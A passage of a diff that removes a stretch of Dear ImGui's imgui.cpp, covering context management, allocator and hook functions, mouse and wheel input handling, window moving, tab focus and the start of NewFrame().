IMGUI_VERSION; -} - -// Internal state access - if you want to share Dear ImGui state between modules (e.g. DLL) or allocate it yourself -// Note that we still point to some static data and members (such as GFontAtlas), so the state instance you end up using will point to the static data within its module -ImGuiContext* ImGui::GetCurrentContext() -{ - return GImGui; -} - -void ImGui::SetCurrentContext(ImGuiContext* ctx) -{ -#ifdef IMGUI_SET_CURRENT_CONTEXT_FUNC - IMGUI_SET_CURRENT_CONTEXT_FUNC(ctx); // For custom thread-based hackery you may want to have control over this. -#else - GImGui = ctx; -#endif -} - -void ImGui::SetAllocatorFunctions(ImGuiMemAllocFunc alloc_func, ImGuiMemFreeFunc free_func, void* user_data) -{ - GImAllocatorAllocFunc = alloc_func; - GImAllocatorFreeFunc = free_func; - GImAllocatorUserData = user_data; -} - -// This is provided to facilitate copying allocators from one static/DLL boundary to another (e.g. retrieve default allocator of your executable address space) -void ImGui::GetAllocatorFunctions(ImGuiMemAllocFunc* p_alloc_func, ImGuiMemFreeFunc* p_free_func, void** p_user_data) -{ - *p_alloc_func = GImAllocatorAllocFunc; - *p_free_func = GImAllocatorFreeFunc; - *p_user_data = GImAllocatorUserData; -} - -ImGuiContext* ImGui::CreateContext(ImFontAtlas* shared_font_atlas) -{ - ImGuiContext* ctx = IM_NEW(ImGuiContext)(shared_font_atlas); - if (GImGui == NULL) - SetCurrentContext(ctx); - Initialize(ctx); - return ctx; -} - -void ImGui::DestroyContext(ImGuiContext* ctx) -{ - if (ctx == NULL) - ctx = GImGui; - Shutdown(ctx); - if (GImGui == ctx) - SetCurrentContext(NULL); - IM_DELETE(ctx); -} - -// No specific ordering/dependency support, will see as needed -ImGuiID ImGui::AddContextHook(ImGuiContext* ctx, const ImGuiContextHook* hook) -{ - ImGuiContext& g = *ctx; - IM_ASSERT(hook->Callback != NULL && hook->HookId == 0 && hook->Type != ImGuiContextHookType_PendingRemoval_); - g.Hooks.push_back(*hook); - g.Hooks.back().HookId = ++g.HookIdNext; - return g.HookIdNext; -} - -// Deferred removal, avoiding issue with changing vector while iterating it -void ImGui::RemoveContextHook(ImGuiContext* ctx, ImGuiID hook_id) -{ - ImGuiContext& g = *ctx; - IM_ASSERT(hook_id != 0); - for (int n = 0; n < g.Hooks.Size; n++) - if (g.Hooks[n].HookId == hook_id) - g.Hooks[n].Type = ImGuiContextHookType_PendingRemoval_; -} - -// Call context hooks (used by e.g. test engine) -// We assume a small number of hooks so all stored in same array -void ImGui::CallContextHooks(ImGuiContext* ctx, ImGuiContextHookType hook_type) -{ - ImGuiContext& g = *ctx; - for (int n = 0; n < g.Hooks.Size; n++) - if (g.Hooks[n].Type == hook_type) - g.Hooks[n].Callback(&g, &g.Hooks[n]); -} - -ImGuiIO& ImGui::GetIO() -{ - IM_ASSERT(GImGui != NULL && "No current context. Did you call ImGui::CreateContext() and ImGui::SetCurrentContext() ?"); - return GImGui->IO; -} - -// Pass this to your backend rendering function! Valid after Render() and until the next call to NewFrame() -ImDrawData* ImGui::GetDrawData() -{ - ImGuiContext& g = *GImGui; - ImGuiViewportP* viewport = g.Viewports[0]; - return viewport->DrawDataP.Valid ? &viewport->DrawDataP : NULL; -} - -double ImGui::GetTime() -{ - return GImGui->Time; -} - -int ImGui::GetFrameCount() -{ - return GImGui->FrameCount; -} - -static ImDrawList* GetViewportDrawList(ImGuiViewportP* viewport, size_t drawlist_no, const char* drawlist_name) -{ - // Create the draw list on demand, because they are not frequently used for all viewports - ImGuiContext& g = *GImGui; - IM_ASSERT(drawlist_no < IM_ARRAYSIZE(viewport->DrawLists)); - ImDrawList* draw_list = viewport->DrawLists[drawlist_no]; - if (draw_list == NULL) - { - draw_list = IM_NEW(ImDrawList)(&g.DrawListSharedData); - draw_list->_OwnerName = drawlist_name; - viewport->DrawLists[drawlist_no] = draw_list; - } - - // Our ImDrawList system requires that there is always a command - if (viewport->DrawListsLastFrame[drawlist_no] != g.FrameCount) - { - draw_list->_ResetForNewFrame(); - draw_list->PushTextureID(g.IO.Fonts->TexID); - draw_list->PushClipRect(viewport->Pos, viewport->Pos + viewport->Size, false); - viewport->DrawListsLastFrame[drawlist_no] = g.FrameCount; - } - return draw_list; -} - -ImDrawList* ImGui::GetBackgroundDrawList(ImGuiViewport* viewport) -{ - return GetViewportDrawList((ImGuiViewportP*)viewport, 0, "##Background"); -} - -ImDrawList* ImGui::GetBackgroundDrawList() -{ - ImGuiContext& g = *GImGui; - return GetBackgroundDrawList(g.Viewports[0]); -} - -ImDrawList* ImGui::GetForegroundDrawList(ImGuiViewport* viewport) -{ - return GetViewportDrawList((ImGuiViewportP*)viewport, 1, "##Foreground"); -} - -ImDrawList* ImGui::GetForegroundDrawList() -{ - ImGuiContext& g = *GImGui; - return GetForegroundDrawList(g.Viewports[0]); -} - -ImDrawListSharedData* ImGui::GetDrawListSharedData() -{ - return &GImGui->DrawListSharedData; -} - -void ImGui::StartMouseMovingWindow(ImGuiWindow* window) -{ - // Set ActiveId even if the _NoMove flag is set. Without it, dragging away from a window with _NoMove would activate hover on other windows. - // We _also_ call this when clicking in a window empty space when io.ConfigWindowsMoveFromTitleBarOnly is set, but clear g.MovingWindow afterward. - // This is because we want ActiveId to be set even when the window is not permitted to move. - ImGuiContext& g = *GImGui; - FocusWindow(window); - SetActiveID(window->MoveId, window); - g.NavDisableHighlight = true; - g.ActiveIdNoClearOnFocusLoss = true; - g.ActiveIdClickOffset = g.IO.MousePos - window->RootWindow->Pos; - - bool can_move_window = true; - if ((window->Flags & ImGuiWindowFlags_NoMove) || (window->RootWindow->Flags & ImGuiWindowFlags_NoMove)) - can_move_window = false; - if (can_move_window) - g.MovingWindow = window; -} - -// Handle mouse moving window -// Note: moving window with the navigation keys (Square + d-pad / CTRL+TAB + Arrows) are processed in NavUpdateWindowing() -// FIXME: We don't have strong guarantee that g.MovingWindow stay synched with g.ActiveId == g.MovingWindow->MoveId. -// This is currently enforced by the fact that BeginDragDropSource() is setting all g.ActiveIdUsingXXXX flags to inhibit navigation inputs, -// but if we should more thoroughly test cases where g.ActiveId or g.MovingWindow gets changed and not the other. -void ImGui::UpdateMouseMovingWindowNewFrame() -{ - ImGuiContext& g = *GImGui; - if (g.MovingWindow != NULL) - { - // We actually want to move the root window. g.MovingWindow == window we clicked on (could be a child window). - // We track it to preserve Focus and so that generally ActiveIdWindow == MovingWindow and ActiveId == MovingWindow->MoveId for consistency. - KeepAliveID(g.ActiveId); - IM_ASSERT(g.MovingWindow && g.MovingWindow->RootWindow); - ImGuiWindow* moving_window = g.MovingWindow->RootWindow; - if (g.IO.MouseDown[0] && IsMousePosValid(&g.IO.MousePos)) - { - ImVec2 pos = g.IO.MousePos - g.ActiveIdClickOffset; - if (moving_window->Pos.x != pos.x || moving_window->Pos.y != pos.y) - { - MarkIniSettingsDirty(moving_window); - SetWindowPos(moving_window, pos, ImGuiCond_Always); - } - FocusWindow(g.MovingWindow); - } - else - { - ClearActiveID(); - g.MovingWindow = NULL; - } - } - else - { - // When clicking/dragging from a window that has the _NoMove flag, we still set the ActiveId in order to prevent hovering others. - if (g.ActiveIdWindow && g.ActiveIdWindow->MoveId == g.ActiveId) - { - KeepAliveID(g.ActiveId); - if (!g.IO.MouseDown[0]) - ClearActiveID(); - } - } -} - -// Initiate moving window when clicking on empty space or title bar. -// Handle left-click and right-click focus. -void ImGui::UpdateMouseMovingWindowEndFrame() -{ - ImGuiContext& g = *GImGui; - if (g.ActiveId != 0 || g.HoveredId != 0) - return; - - // Unless we just made a window/popup appear - if (g.NavWindow && g.NavWindow->Appearing) - return; - - // Click on empty space to focus window and start moving - // (after we're done with all our widgets) - if (g.IO.MouseClicked[0]) - { - // Handle the edge case of a popup being closed while clicking in its empty space. - // If we try to focus it, FocusWindow() > ClosePopupsOverWindow() will accidentally close any parent popups because they are not linked together any more. - ImGuiWindow* root_window = g.HoveredWindow ? g.HoveredWindow->RootWindow : NULL; - const bool is_closed_popup = root_window && (root_window->Flags & ImGuiWindowFlags_Popup) && !IsPopupOpen(root_window->PopupId, ImGuiPopupFlags_AnyPopupLevel); - - if (root_window != NULL && !is_closed_popup) - { - StartMouseMovingWindow(g.HoveredWindow); //-V595 - - // Cancel moving if clicked outside of title bar - if (g.IO.ConfigWindowsMoveFromTitleBarOnly && !(root_window->Flags & ImGuiWindowFlags_NoTitleBar)) - if (!root_window->TitleBarRect().Contains(g.IO.MouseClickedPos[0])) - g.MovingWindow = NULL; - - // Cancel moving if clicked over an item which was disabled or inhibited by popups (note that we know HoveredId == 0 already) - if (g.HoveredIdDisabled) - g.MovingWindow = NULL; - } - else if (root_window == NULL && g.NavWindow != NULL && GetTopMostPopupModal() == NULL) - { - // Clicking on void disable focus - FocusWindow(NULL); - } - } - - // With right mouse button we close popups without changing focus based on where the mouse is aimed - // Instead, focus will be restored to the window under the bottom-most closed popup. - // (The left mouse button path calls FocusWindow on the hovered window, which will lead NewFrame->ClosePopupsOverWindow to trigger) - if (g.IO.MouseClicked[1]) - { - // Find the top-most window between HoveredWindow and the top-most Modal Window. - // This is where we can trim the popup stack. - ImGuiWindow* modal = GetTopMostPopupModal(); - bool hovered_window_above_modal = g.HoveredWindow && IsWindowAbove(g.HoveredWindow, modal); - ClosePopupsOverWindow(hovered_window_above_modal ? g.HoveredWindow : modal, true); - } -} - -static bool IsWindowActiveAndVisible(ImGuiWindow* window) -{ - return (window->Active) && (!window->Hidden); -} - -static void ImGui::UpdateMouseInputs() -{ - ImGuiContext& g = *GImGui; - - // Round mouse position to avoid spreading non-rounded position (e.g. UpdateManualResize doesn't support them well) - if (IsMousePosValid(&g.IO.MousePos)) - g.IO.MousePos = g.LastValidMousePos = ImFloor(g.IO.MousePos); - - // If mouse just appeared or disappeared (usually denoted by -FLT_MAX components) we cancel out movement in MouseDelta - if (IsMousePosValid(&g.IO.MousePos) && IsMousePosValid(&g.IO.MousePosPrev)) - g.IO.MouseDelta = g.IO.MousePos - g.IO.MousePosPrev; - else - g.IO.MouseDelta = ImVec2(0.0f, 0.0f); - if (g.IO.MouseDelta.x != 0.0f || g.IO.MouseDelta.y != 0.0f) - g.NavDisableMouseHover = false; - - g.IO.MousePosPrev = g.IO.MousePos; - for (int i = 0; i < IM_ARRAYSIZE(g.IO.MouseDown); i++) - { - g.IO.MouseClicked[i] = g.IO.MouseDown[i] && g.IO.MouseDownDuration[i] < 0.0f; - g.IO.MouseReleased[i] = !g.IO.MouseDown[i] && g.IO.MouseDownDuration[i] >= 0.0f; - g.IO.MouseDownDurationPrev[i] = g.IO.MouseDownDuration[i]; - g.IO.MouseDownDuration[i] = g.IO.MouseDown[i] ? (g.IO.MouseDownDuration[i] < 0.0f ? 0.0f : g.IO.MouseDownDuration[i] + g.IO.DeltaTime) : -1.0f; - g.IO.MouseDoubleClicked[i] = false; - if (g.IO.MouseClicked[i]) - { - if ((float)(g.Time - g.IO.MouseClickedTime[i]) < g.IO.MouseDoubleClickTime) - { - ImVec2 delta_from_click_pos = IsMousePosValid(&g.IO.MousePos) ? (g.IO.MousePos - g.IO.MouseClickedPos[i]) : ImVec2(0.0f, 0.0f); - if (ImLengthSqr(delta_from_click_pos) < g.IO.MouseDoubleClickMaxDist * g.IO.MouseDoubleClickMaxDist) - g.IO.MouseDoubleClicked[i] = true; - g.IO.MouseClickedTime[i] = -g.IO.MouseDoubleClickTime * 2.0f; // Mark as "old enough" so the third click isn't turned into a double-click - } - else - { - g.IO.MouseClickedTime[i] = g.Time; - } - g.IO.MouseClickedPos[i] = g.IO.MousePos; - g.IO.MouseDownWasDoubleClick[i] = g.IO.MouseDoubleClicked[i]; - g.IO.MouseDragMaxDistanceAbs[i] = ImVec2(0.0f, 0.0f); - g.IO.MouseDragMaxDistanceSqr[i] = 0.0f; - } - else if (g.IO.MouseDown[i]) - { - // Maintain the maximum distance we reaching from the initial click position, which is used with dragging threshold - ImVec2 delta_from_click_pos = IsMousePosValid(&g.IO.MousePos) ? (g.IO.MousePos - g.IO.MouseClickedPos[i]) : ImVec2(0.0f, 0.0f); - g.IO.MouseDragMaxDistanceSqr[i] = ImMax(g.IO.MouseDragMaxDistanceSqr[i], ImLengthSqr(delta_from_click_pos)); - g.IO.MouseDragMaxDistanceAbs[i].x = ImMax(g.IO.MouseDragMaxDistanceAbs[i].x, delta_from_click_pos.x < 0.0f ? -delta_from_click_pos.x : delta_from_click_pos.x); - g.IO.MouseDragMaxDistanceAbs[i].y = ImMax(g.IO.MouseDragMaxDistanceAbs[i].y, delta_from_click_pos.y < 0.0f ? -delta_from_click_pos.y : delta_from_click_pos.y); - } - if (!g.IO.MouseDown[i] && !g.IO.MouseReleased[i]) - g.IO.MouseDownWasDoubleClick[i] = false; - if (g.IO.MouseClicked[i]) // Clicking any mouse button reactivate mouse hovering which may have been deactivated by gamepad/keyboard navigation - g.NavDisableMouseHover = false; - } -} - -static void StartLockWheelingWindow(ImGuiWindow* window) -{ - ImGuiContext& g = *GImGui; - if (g.WheelingWindow == window) - return; - g.WheelingWindow = window; - g.WheelingWindowRefMousePos = g.IO.MousePos; - g.WheelingWindowTimer = WINDOWS_MOUSE_WHEEL_SCROLL_LOCK_TIMER; -} - -void ImGui::UpdateMouseWheel() -{ - ImGuiContext& g = *GImGui; - - // Reset the locked window if we move the mouse or after the timer elapses - if (g.WheelingWindow != NULL) - { - g.WheelingWindowTimer -= g.IO.DeltaTime; - if (IsMousePosValid() && ImLengthSqr(g.IO.MousePos - g.WheelingWindowRefMousePos) > g.IO.MouseDragThreshold * g.IO.MouseDragThreshold) - g.WheelingWindowTimer = 0.0f; - if (g.WheelingWindowTimer <= 0.0f) - { - g.WheelingWindow = NULL; - g.WheelingWindowTimer = 0.0f; - } - } - - if (g.IO.MouseWheel == 0.0f && g.IO.MouseWheelH == 0.0f) - return; - - if ((g.ActiveId != 0 && g.ActiveIdUsingMouseWheel) || (g.HoveredIdPreviousFrame != 0 && g.HoveredIdPreviousFrameUsingMouseWheel)) - return; - - ImGuiWindow* window = g.WheelingWindow ? g.WheelingWindow : g.HoveredWindow; - if (!window || window->Collapsed) - return; - - // Zoom / Scale window - // FIXME-OBSOLETE: This is an old feature, it still works but pretty much nobody is using it and may be best redesigned. - if (g.IO.MouseWheel != 0.0f && g.IO.KeyCtrl && g.IO.FontAllowUserScaling) - { - StartLockWheelingWindow(window); - const float new_font_scale = ImClamp(window->FontWindowScale + g.IO.MouseWheel * 0.10f, 0.50f, 2.50f); - const float scale = new_font_scale / window->FontWindowScale; - window->FontWindowScale = new_font_scale; - if (window == window->RootWindow) - { - const ImVec2 offset = window->Size * (1.0f - scale) * (g.IO.MousePos - window->Pos) / window->Size; - SetWindowPos(window, window->Pos + offset, 0); - window->Size = ImFloor(window->Size * scale); - window->SizeFull = ImFloor(window->SizeFull * scale); - } - return; - } - - // Mouse wheel scrolling - // If a child window has the ImGuiWindowFlags_NoScrollWithMouse flag, we give a chance to scroll its parent - - // Vertical Mouse Wheel scrolling - const float wheel_y = (g.IO.MouseWheel != 0.0f && !g.IO.KeyShift) ? g.IO.MouseWheel : 0.0f; - if (wheel_y != 0.0f && !g.IO.KeyCtrl) - { - StartLockWheelingWindow(window); - while ((window->Flags & ImGuiWindowFlags_ChildWindow) && ((window->ScrollMax.y == 0.0f) || ((window->Flags & ImGuiWindowFlags_NoScrollWithMouse) && !(window->Flags & ImGuiWindowFlags_NoMouseInputs)))) - window = window->ParentWindow; - if (!(window->Flags & ImGuiWindowFlags_NoScrollWithMouse) && !(window->Flags & ImGuiWindowFlags_NoMouseInputs)) - { - float max_step = window->InnerRect.GetHeight() * 0.67f; - float scroll_step = ImFloor(ImMin(5 * window->CalcFontSize(), max_step)); - SetScrollY(window, window->Scroll.y - wheel_y * scroll_step); - } - } - - // Horizontal Mouse Wheel scrolling, or Vertical Mouse Wheel w/ Shift held - const float wheel_x = (g.IO.MouseWheelH != 0.0f && !g.IO.KeyShift) ? g.IO.MouseWheelH : (g.IO.MouseWheel != 0.0f && g.IO.KeyShift) ? g.IO.MouseWheel : 0.0f; - if (wheel_x != 0.0f && !g.IO.KeyCtrl) - { - StartLockWheelingWindow(window); - while ((window->Flags & ImGuiWindowFlags_ChildWindow) && ((window->ScrollMax.x == 0.0f) || ((window->Flags & ImGuiWindowFlags_NoScrollWithMouse) && !(window->Flags & ImGuiWindowFlags_NoMouseInputs)))) - window = window->ParentWindow; - if (!(window->Flags & ImGuiWindowFlags_NoScrollWithMouse) && !(window->Flags & ImGuiWindowFlags_NoMouseInputs)) - { - float max_step = window->InnerRect.GetWidth() * 0.67f; - float scroll_step = ImFloor(ImMin(2 * window->CalcFontSize(), max_step)); - SetScrollX(window, window->Scroll.x - wheel_x * scroll_step); - } - } -} - -void ImGui::UpdateTabFocus() -{ - ImGuiContext& g = *GImGui; - - // Pressing TAB activate widget focus - g.FocusTabPressed = (g.NavWindow && g.NavWindow->Active && !(g.NavWindow->Flags & ImGuiWindowFlags_NoNavInputs) && !g.IO.KeyCtrl && IsKeyPressedMap(ImGuiKey_Tab)); - if (g.ActiveId == 0 && g.FocusTabPressed) - { - // Note that SetKeyboardFocusHere() sets the Next fields mid-frame. To be consistent we also - // manipulate the Next fields even, even though they will be turned into Curr fields by the code below. - g.FocusRequestNextWindow = g.NavWindow; - g.FocusRequestNextCounterRegular = INT_MAX; - if (g.NavId != 0 && g.NavIdTabCounter != INT_MAX) - g.FocusRequestNextCounterTabStop = g.NavIdTabCounter + 1 + (g.IO.KeyShift ? -1 : 1); - else - g.FocusRequestNextCounterTabStop = g.IO.KeyShift ? -1 : 0; - } - - // Turn queued focus request into current one - g.FocusRequestCurrWindow = NULL; - g.FocusRequestCurrCounterRegular = g.FocusRequestCurrCounterTabStop = INT_MAX; - if (g.FocusRequestNextWindow != NULL) - { - ImGuiWindow* window = g.FocusRequestNextWindow; - g.FocusRequestCurrWindow = window; - if (g.FocusRequestNextCounterRegular != INT_MAX && window->DC.FocusCounterRegular != -1) - g.FocusRequestCurrCounterRegular = ImModPositive(g.FocusRequestNextCounterRegular, window->DC.FocusCounterRegular + 1); - if (g.FocusRequestNextCounterTabStop != INT_MAX && window->DC.FocusCounterTabStop != -1) - g.FocusRequestCurrCounterTabStop = ImModPositive(g.FocusRequestNextCounterTabStop, window->DC.FocusCounterTabStop + 1); - g.FocusRequestNextWindow = NULL; - g.FocusRequestNextCounterRegular = g.FocusRequestNextCounterTabStop = INT_MAX; - } - - g.NavIdTabCounter = INT_MAX; -} - -// The reason this is exposed in imgui_internal.h is: on touch-based system that don't have hovering, we want to dispatch inputs to the right target (imgui vs imgui+app) -void ImGui::UpdateHoveredWindowAndCaptureFlags() -{ - ImGuiContext& g = *GImGui; - - // Find the window hovered by mouse: - // - Child windows can extend beyond the limit of their parent so we need to derive HoveredRootWindow from HoveredWindow. - // - When moving a window we can skip the search, which also conveniently bypasses the fact that window->WindowRectClipped is lagging as this point of the frame. - // - We also support the moved window toggling the NoInputs flag after moving has started in order to be able to detect windows below it, which is useful for e.g. docking mechanisms. - bool clear_hovered_windows = false; - FindHoveredWindow(); - - // Modal windows prevents mouse from hovering behind them. - ImGuiWindow* modal_window = GetTopMostPopupModal(); - if (modal_window && g.HoveredWindow && !IsWindowChildOf(g.HoveredWindow->RootWindow, modal_window)) - clear_hovered_windows = true; - - // Disabled mouse? - if (g.IO.ConfigFlags & ImGuiConfigFlags_NoMouse) - clear_hovered_windows = true; - - // We track click ownership. When clicked outside of a window the click is owned by the application and won't report hovering nor request capture even while dragging over our windows afterward. - int mouse_earliest_button_down = -1; - bool mouse_any_down = false; - for (int i = 0; i < IM_ARRAYSIZE(g.IO.MouseDown); i++) - { - if (g.IO.MouseClicked[i]) - g.IO.MouseDownOwned[i] = (g.HoveredWindow != NULL) || (g.OpenPopupStack.Size > 0); - mouse_any_down |= g.IO.MouseDown[i]; - if (g.IO.MouseDown[i]) - if (mouse_earliest_button_down == -1 || g.IO.MouseClickedTime[i] < g.IO.MouseClickedTime[mouse_earliest_button_down]) - mouse_earliest_button_down = i; - } - const bool mouse_avail_to_imgui = (mouse_earliest_button_down == -1) || g.IO.MouseDownOwned[mouse_earliest_button_down]; - - // If mouse was first clicked outside of ImGui bounds we also cancel out hovering. - // FIXME: For patterns of drag and drop across OS windows, we may need to rework/remove this test (first committed 311c0ca9 on 2015/02) - const bool mouse_dragging_extern_payload = g.DragDropActive && (g.DragDropSourceFlags & ImGuiDragDropFlags_SourceExtern) != 0; - if (!mouse_avail_to_imgui && !mouse_dragging_extern_payload) - clear_hovered_windows = true; - - if (clear_hovered_windows) - g.HoveredWindow = g.HoveredWindowUnderMovingWindow = NULL; - - // Update io.WantCaptureMouse for the user application (true = dispatch mouse info to imgui, false = dispatch mouse info to Dear ImGui + app) - if (g.WantCaptureMouseNextFrame != -1) - g.IO.WantCaptureMouse = (g.WantCaptureMouseNextFrame != 0); - else - g.IO.WantCaptureMouse = (mouse_avail_to_imgui && (g.HoveredWindow != NULL || mouse_any_down)) || (g.OpenPopupStack.Size > 0); - - // Update io.WantCaptureKeyboard for the user application (true = dispatch keyboard info to imgui, false = dispatch keyboard info to Dear ImGui + app) - if (g.WantCaptureKeyboardNextFrame != -1) - g.IO.WantCaptureKeyboard = (g.WantCaptureKeyboardNextFrame != 0); - else - g.IO.WantCaptureKeyboard = (g.ActiveId != 0) || (modal_window != NULL); - if (g.IO.NavActive && (g.IO.ConfigFlags & ImGuiConfigFlags_NavEnableKeyboard) && !(g.IO.ConfigFlags & ImGuiConfigFlags_NavNoCaptureKeyboard)) - g.IO.WantCaptureKeyboard = true; - - // Update io.WantTextInput flag, this is to allow systems without a keyboard (e.g. mobile, hand-held) to show a software keyboard if possible - g.IO.WantTextInput = (g.WantTextInputNextFrame != -1) ? (g.WantTextInputNextFrame != 0) : false; -} - -ImGuiKeyModFlags ImGui::GetMergedKeyModFlags() -{ - ImGuiContext& g = *GImGui; - ImGuiKeyModFlags key_mod_flags = ImGuiKeyModFlags_None; - if (g.IO.KeyCtrl) { key_mod_flags |= ImGuiKeyModFlags_Ctrl; } - if (g.IO.KeyShift) { key_mod_flags |= ImGuiKeyModFlags_Shift; } - if (g.IO.KeyAlt) { key_mod_flags |= ImGuiKeyModFlags_Alt; } - if (g.IO.KeySuper) { key_mod_flags |= ImGuiKeyModFlags_Super; } - return key_mod_flags; -} - -void ImGui::NewFrame() -{ - IM_ASSERT(GImGui != NULL && "No current context. Did you call ImGui::CreateContext() and ImGui::SetCurrentContext() ?"); - ImGuiContext& g = *GImGui; - - // Remove pending delete hooks before frame start. - // This deferred removal avoid issues of removal while iterating the hook vector - for (int n = g.Hooks.Size - 1; n >= 0; n--) - if (g.Hooks[n].Type == ImGuiContextHookType_PendingRemoval_) - g.Hooks.erase(&g.Hooks[n]); - - CallContextHooks(&g, ImGuiContextHookType_NewFramePre); - - // Check and assert for various common IO and Configuration mistakes - ErrorCheckNewFrameSanityChecks(); - - // Load settings on first frame, save settings when modified (after a delay) - UpdateSettings(); - - g.Time += g.IO.DeltaTime; - g.WithinFrameScope = true; - g.FrameCount += 1; - g.TooltipOverrideCount = 0; - g.WindowsActiveCount = 0; - g.MenusIdSubmittedThisFrame.resize(0); - - // Calculate frame-rate for the user, as a purely luxurious feature - g.FramerateSecPerFrameAccum += g.IO.DeltaTime - g.FramerateSecPerFrame[g.FramerateSecPerFrameIdx]; - g.FramerateSecPerFrame[g.FramerateSecPerFrameIdx] = g.IO.DeltaTime; - g.FramerateSecPerFrameIdx = (g.FramerateSecPerFrameIdx + 1) % IM_ARRAYSIZE(g.FramerateSecPerFrame); - g.IO.Framerate = (g.FramerateSecPerFrameAccum > 0.0f) ? (1.0f / (g.FramerateSecPerFrameAccum / (float)IM_ARRAYSIZE(g.FramerateSecPerFrame))) : FLT_MAX; - - UpdateViewportsNewFrame(); - - // Setup current font and draw list shared data - g.IO.Fonts->Locked = true; - SetCurrentFont(GetDefaultFont()); - IM_ASSERT(g.Font->IsLoaded()); - ImRect virtual_space(FLT_MAX, FLT_MAX, -FLT_MAX, -FLT_MAX); - for (int n = 0; n < g.Viewports.Size; n++) - virtual_space.Add(g.Viewports[n]->GetMainRect()); - g.DrawListSharedData.ClipRectFullscreen = virtual_space.ToVec4(); - g.DrawListSharedData.CurveTessellationTol = g.Style.CurveTessellationTol; - g.DrawListSharedData.SetCircleTessellationMaxError(g.Style.CircleTessellationMaxError); - g.DrawListSharedData.InitialFlags = ImDrawListFlags_None; - if (g.Style.AntiAliasedLines) - g.DrawListSharedData.InitialFlags |= ImDrawListFlags_AntiAliasedLines; - if (g.Style.AntiAliasedLinesUseTex && !(g.Font->ContainerAtlas->Flags & ImFontAtlasFlags_NoBakedLines)) - g.DrawListSharedData.InitialFlags |= ImDrawListFlags_AntiAliasedLinesUseTex; - if (g.Style.AntiAliasedFill) - g.DrawListSharedData.InitialFlags |= ImDrawListFlags_AntiAliasedFill; - if (g.IO.BackendFlags & ImGuiBackendFlags_RendererHasVtxOffset) - g.DrawListSharedData.InitialFlags |= ImDrawListFlags_AllowVtxOffset; - - // Mark rendering data as invalid to prevent user who may have a handle on it to use it. - for (int n = 0; n < g.Viewports.Size; n++) - { - ImGuiViewportP* viewport = g.Viewports[n]; - viewport->DrawDataP.Clear(); - } - - // Drag and drop keep the source ID alive so even if the source disappear our state is consistent - if (g.DragDropActive && g.DragDropPayload.SourceId == g.ActiveId) - KeepAliveID(g.DragDropPayload.SourceId); - - // Update HoveredId data - if (!g.HoveredIdPreviousFrame) - g.HoveredIdTimer = 0.0f; - if (!g.HoveredIdPreviousFrame || (g.HoveredId && g.ActiveId == g.HoveredId)) - g.HoveredIdNotActiveTimer = 0.0f; - if (g.HoveredId) - g.HoveredIdTimer += g.IO.DeltaTime; - if (g.HoveredId && g.ActiveId != g.HoveredId) - g.HoveredIdNotActiveTimer += g.IO.DeltaTime; - g.HoveredIdPreviousFrame = g.HoveredId; - g.HoveredIdPreviousFrameUsingMouseWheel = g.HoveredIdUsingMouseWheel; - g.HoveredId = 0; - g.HoveredIdAllowOverlap = false; - g.HoveredIdUsingMouseWheel = false; - g.HoveredIdDisabled = false; - - // Update ActiveId data (clear reference to active widget if the widget isn't alive anymore) - if (g.ActiveIdIsAlive != g.ActiveId && g.ActiveIdPreviousFrame == g.ActiveId && g.ActiveId != 0) - ClearActiveID(); - if (g.ActiveId) - g.ActiveIdTimer += g.IO.DeltaTime; - g.LastActiveIdTimer += g.IO.DeltaTime; - g.ActiveIdPreviousFrame = g.ActiveId; - g.ActiveIdPreviousFrameWindow = g.ActiveIdWindow; - g.ActiveIdPreviousFrameHasBeenEditedBefore = g.ActiveIdHasBeenEditedBefore; - g.ActiveIdIsAlive = 0; - g.ActiveIdHasBeenEditedThisFrame = false; - g.ActiveIdPreviousFrameIsAlive = false; - g.ActiveIdIsJustActivated = false; - if (g.TempInputId != 0 && g.ActiveId != g.TempInputId) - g.TempInputId = 0; - if (g.ActiveId == 0) - { - g.ActiveIdUsingNavDirMask = 0x00; - g.ActiveIdUsingNavInputMask = 0x00; - g.ActiveIdUsingKeyInputMask = 0x00; - } - - // Drag and drop - g.DragDropAcceptIdPrev = g.DragDropAcceptIdCurr; - g.DragDropAcceptIdCurr = 0; - g.DragDropAcceptIdCurrRectSurface = FLT_MAX; - g.DragDropWithinSource = false; - g.DragDropWithinTarget = false; - g.DragDropHoldJustPressedId = 0; - - // Update keyboard input state - // Synchronize io.KeyMods with individual modifiers io.KeyXXX bools - g.IO.KeyMods = GetMergedKeyModFlags(); - memcpy(g.IO.KeysDownDurationPrev, g.IO.KeysDownDuration, sizeof(g.IO.KeysDownDuration)); - for (int i = 0; i < IM_ARRAYSIZE(g.IO.KeysDown); i++) - g.IO.KeysDownDuration[i] = g.IO.KeysDown[i] ? (g.IO.KeysDownDuration[i] < 0.0f ? 0.0f : g.IO.KeysDownDuration[i] + g.IO.DeltaTime) : -1.0f; - - // Update gamepad/keyboard navigation - NavUpdate(); - - // Update mouse input state - UpdateMouseInputs(); - - // Find hovered window - // (needs to be before UpdateMouseMovingWindowNewFrame so we fill g.HoveredWindowUnderMovingWindow on the mouse release frame) - UpdateHoveredWindowAndCaptureFlags(); - - // Handle user moving window with mouse (at the beginning of the frame to avoid input lag or sheering) - UpdateMouseMovingWindowNewFrame(); - - // Background darkening/whitening - if (GetTopMostPopupModal() != NULL || (g.NavWindowingTarget != NULL && g.NavWindowingHighlightAlpha > 0.0f)) - g.DimBgRatio = ImMin(g.DimBgRatio + g.IO.DeltaTime * 6.0f, 1.0f); - else - g.DimBgRatio = ImMax(g.DimBgRatio - g.IO.DeltaTime * 10.0f, 0.0f); - - g.MouseCursor = ImGuiMouseCursor_Arrow; - g.WantCaptureMouseNextFrame = g.WantCaptureKeyboardNextFrame = g.WantTextInputNextFrame = -1; - g.PlatformImePos = ImVec2(1.0f, 1.0f); // OS Input Method Editor showing on top-left of our window by default - - // Mouse wheel scrolling, scale - UpdateMouseWheel(); - - // Update legacy TAB focus - UpdateTabFocus(); - - // Mark all windows as not visible and compact unused memory. - IM_ASSERT(g.WindowsFocusOrder.Size == g.Windows.Size); - const float memory_compact_start_time = (g.GcCompactAll || g.IO.ConfigMemoryCompactTimer < 0.0f) ? FLT_MAX : (float)g.Time - g.IO.ConfigMemoryCompactTimer; - for (int i = 0; i != g.Windows.Size; i++) - { - ImGuiWindow* window = g.Windows[i]; - window->WasActive = window->Active; - window->BeginCount = 0; - window->Active = false; - window->WriteAccessed = false; - - // Garbage collect transient buffers of recently unused windows - if (!window->WasActive && !window->MemoryCompacted && window->LastTimeActive < memory_compact_start_time) - GcCompactTransientWindowBuffers(window); - } - - // Garbage collect transient buffers of recently unused tables - for (int i = 0; i < g.TablesLastTimeActive.Size; i++) - if (g.TablesLastTimeActive[i] >= 0.0f 